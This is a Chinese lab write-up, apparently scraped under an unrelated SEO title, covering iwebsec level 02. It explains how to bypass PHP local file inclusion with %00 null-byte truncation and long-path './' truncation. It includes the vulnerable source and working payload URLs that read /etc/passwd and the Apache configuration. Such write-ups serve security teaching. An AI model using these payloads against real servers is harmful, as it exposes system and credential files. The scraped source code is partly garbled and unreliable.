沈阳建站程序建设厅网站的无法打印
- 作者: 五速梦信息网
- 时间: 2026年04月20日 09:18
当前位置: 首页 > news >正文
沈阳建站程序,建设厅网站的无法打印,移动建站优化,sharepoint网页制作教程目录
前言
1.%00截断
2.文件字符长度截断法#xff08;又名超长文件截断)
方法1#xff08;路径截断法#xff09;
方法2#xff08;点号截断法#xff09;
第02关 文件包含绕过
1.打开靶场
2.源码分析
3.00文件截断原理
4.00截断的条件
5.文件包含00截断绕过 …目录
前言
1.%00截断
2.文件字符长度截断法又名超长文件截断)
方法1路径截断法
方法2点号截断法
第02关 文件包含绕过
1.打开靶场
2.源码分析
3.00文件截断原理
4.00截断的条件
5.文件包含00截断绕过
1访问test.txt 2访问敏感文件
6.文件字符长度截断法(垃圾字符为./) 前言
文件包含漏洞中在服务器执行一个PHP文件时可以通过文件包含函数执行另一个文件无论这个文件是不是PHP为其后缀都可以当成PHP执行。
文件上传的截断绕过通常源码包含如下字段比如说传入的参数filenamephpinfo.txt那么include时会为文件名加上 .html后缀于是include的文件名就变为了phpinfo.txt.html这样会导致文件包含漏洞利用出现失败。于是如何进行漏洞渗透使得此时渗透过程中即便传入的参数为phpinfo.txt但是包含的文件仍为phpinfo.txt这个后缀.html加不到后面就可以绕过这个文件包含的过滤了。 \(filename \)_GET[filename];include(\(filename . .html);
通常来讲文件包含的绕过方法为%00截断以及字符长度截断法。
1.%00截断
前提是php5.3.4且 magic_quotes_gpcoff原理是%00是被会url解码成0x00,如果遇到0x00就会认为读取已结束所以导致截断。
2.文件字符长度截断法又名超长文件截断)
方法1路径截断法
1前提是php版本5.2.8 2Windows下目录最大长度为256字节超出的部分会被丢弃 3Linux下目录最大长度为4096字节超出的部分会被丢弃。
方法2点号截断法
1仅适用windows系统
2当长度大于256B时才会造成扩展名截断
由于本关卡中iwebsec是搭建在docker中使用linux系统故而只能使用路径截断法
第02关 文件包含绕过
1.打开靶场
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/fi/02.php 2.源码分析
如下所示源码包含include函数具备文件包含漏洞
?phprequire_once(../header.php);?
htmlheadtitle本地文件包含绕过/title/headh2本地文件包含绕过/h2div classalert alert-successp/02.php?filenametest.txt%00 /p/divbody
?phpif(isset(\)_GET[filename])){\(filename \)_GET[filename];include(\(filename . .html);}else{exit();}?不过文件包含的过程中对filename的处理源码如下所示是将文件名后加上.html的后缀也就是如果filenametest那么include的文件未test.html \)filename \(_GET[filename];include(\)filename . .html);
也就是说无论传入任意后缀的文件尾部都会被加上.html后缀那么考虑用%00截断方法这样可以将后面的.html截断include函数传入的参数仍为原始文件名
3.00文件截断原理
00/x00截断原理0x00是十六进制表示方法是ascii码为0的字符在有些函数处理时会把这个字符当做结束符。系统在对文件名的读取时如果遇到0x00就会认为读取已结束。这个可以用在对文件类型名的绕过上。 服务器在解析过程中遇到ascii码为零的位置就停止而这个ascii码为零的位置在16进制中是00用0x开头表示16进制也就是所说的0x00截断。
这样的话如果我们要包含的文件名字为test.txt,在服务器拼接上.html后再被include文件名变为了test.txt.html这样就没有办法进行渗透
test.txt.html
假设此时我们要包含的文件名为test.txt%00,这时候在在服务器拼接上.html后再被include文件名变为了test.txt%00.html
test.txt%00.html
由于%00截断的原理服务器在将%00解码后发生了截断功效于是文件名便为
test.txt
这样就实现了文件包含%00绕过截断
4.00截断的条件
第一点PHP的版本要小于5.3.4
第二点php中的设置文件php.ini中的 magic_quotes_gpc 要关闭,
若想修改magic_quotes_gpc,需要修改php.ini文件将magic_quotes_gpc关闭掉
5.文件包含00截断绕过
1访问test.txt
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/fi/02.php?filenametest.txt%00 2访问敏感文件
访问/etc/passwd 如下所示渗透成功
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/fi/02.php?filename/etc/passwd%00 访问Apache的httpd配置文件如下所示渗透成功
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/fi/02.php?filename/etc/httpd/conf/httpd.conf%00
6.文件字符长度截断法(垃圾字符为./)
在这里构造垃圾字符时有一个小技巧使用word文档构造./././一直累加直到字符数超过4096即可
构造如下url垃圾字符的长度在linux系统中要超过4096
http://iwebsec.com:81/fi/02.php?filenametest.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ 如下所示渗透成功
- 上一篇: 沈阳建设网站费用怎么做弹幕小视频网站
- 下一篇: 沈阳建站西安网站建设培训中心
相关文章
-
沈阳建设网站费用怎么做弹幕小视频网站
沈阳建设网站费用怎么做弹幕小视频网站
- 技术栈
- 2026年04月20日
-
沈阳公司网站制作如果网站设计时
沈阳公司网站制作如果网站设计时
- 技术栈
- 2026年04月20日
-
沈阳公司网站网站改版后不收录
沈阳公司网站网站改版后不收录
- 技术栈
- 2026年04月20日
-
沈阳建站西安网站建设培训中心
沈阳建站西安网站建设培训中心
- 技术栈
- 2026年04月20日
-
沈阳酒店团购网站制作wp在本地做的网站 上传
沈阳酒店团购网站制作wp在本地做的网站 上传
- 技术栈
- 2026年04月20日
-
沈阳模板建站方案景德镇网站建设哪家口碑好
沈阳模板建站方案景德镇网站建设哪家口碑好
- 技术栈
- 2026年04月20日
